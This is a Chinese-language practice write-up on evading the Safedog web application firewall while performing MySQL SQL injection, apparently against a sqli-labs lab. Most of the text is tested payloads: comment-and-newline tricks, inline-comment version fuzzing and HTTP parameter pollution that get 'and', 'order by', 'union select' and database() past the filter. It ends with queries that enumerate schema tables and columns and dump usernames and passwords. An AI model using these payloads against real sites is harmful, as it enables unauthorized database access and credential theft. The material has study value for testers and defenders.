0x00 前言
練習sql注入過程中經常會遇到一些WAF的攔截,在網上找相關文章進行學習,並通過利用安全狗來練習Mysql環境下的bypass。
0x01 一些特殊字符
1.注釋符號
/*!*/:內聯注釋,/*!12345union*/select等效union select
/**/:注釋符號,/*/**/等效於/**/
-- +:--空格加任意字符
;%00
2.其他符號
%23%0a:注釋換行符
&、&&、|、||:邏輯操作符
``:反引號
0x02 安全狗版本
版本:網站安全狗(Apache版) 4.0.26550

0x03 and繞過
首先測試語句and 1=1攔截情況
and //不攔截
and 1=1 //攔截
and 1 //攔截
and a //不攔截
and ‘a’ //攔截

經測試發現and后面跟數字型或字符型時會被攔截
繞過方法有兩種
1.使用其他字符替換and
使用&的url編碼%26替換and進行繞過

2.使用-1=-1和-1=-2替換繞過
可能對負數沒做限制,也可能是 – 繞過了正則匹配
and -1=-1-- +
and -1=-2-- +


0x04 繞過order by攔截
order //不攔截
by //不攔截
order by //攔截

經過測試,此處有三種方法可以繞過:
1.注釋換行繞過
order--%0aby //攔截——了解到這是最初的姿勢,不過現已經失效
order%23%0aby //不攔截——%23:注釋符,%0a換行符

2.內聯注釋加參數污染繞過
order /*!by*/ 攔截
order/*!/*55555*/by*/ 攔截
order/*!/*!50553*/by*/ 攔截
order/*!/*!50553test*/by*/ 不攔截但報錯
order/*!/*!50554test*/by*/ 不攔截
數字加字母組合可繞過,經fuzz測試,當數字大於50553時不報錯

3.hpp參數污染繞過
在跟服務器交互的過程中,http允許 get 或者post多次傳同一參數值,造成覆蓋達到一些繞過waf的效果。在php/apache 中,它總解析最后一個id
?id=1' /*&id=1'order by 3-- +*/

0x05 繞過union select攔截
1.注釋換行加參數污染繞過
單純使用注釋換行符被攔截,經測試在注釋符和換行符間加任意數字字母字符繞過
union%23a%0aselect 1,2,3-- +

2.內聯注釋加參數繞過
同order by 繞過

3.hpp參數污染繞過
同order by 繞過
?id=1' /*&id='union select 1,database(),3-- +*/

0x06 database()攔截繞過
直接聯合查詢database()會被攔截
1.聯合查詢繞過
/*!database()*/ 攔截
database/*!()*/ 不攔截
database/*!(*/) 不攔截
2.hpp參數污染的語句中直接查詢
后續查詢均可使用此方法繞過

0x07 查表名、列名、字段攔截繞過
經過測試,可以使用兩種方法繞過
1.內聯注釋
對table_name、column_name和字段名使用內聯注釋繞過限制
union%23a%0aselect 1,group_concat(/*!table_name*/),3 from information_schema.tables where table_schema="security"-- +
union%23a%0aselect 1,group_concat(/*!column_name*/),3 from information_schema.columns where table_name="users"-- +
union%23a%0aselect 1,2,group_concat(/*!username*/,":",password) from users-- +
union%23a%0aselect 1,2,group_concat(username,":",/*!password*/) from users-- +

2.反引號
對information_schema使用反引號繞過
union%23a%0aselect 1,group_concat(table_name),3 from `information_schema`.tables where table_schema="security"--+

